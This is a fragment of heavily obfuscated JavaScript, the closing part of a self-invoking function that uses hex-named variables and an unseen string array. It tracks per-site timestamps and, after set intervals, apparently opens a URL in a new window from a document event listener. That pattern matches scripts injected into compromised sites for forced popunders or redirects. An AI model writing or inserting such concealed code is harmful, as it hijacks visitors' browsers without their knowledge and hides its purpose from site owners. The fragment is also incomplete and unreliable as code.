_0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());
```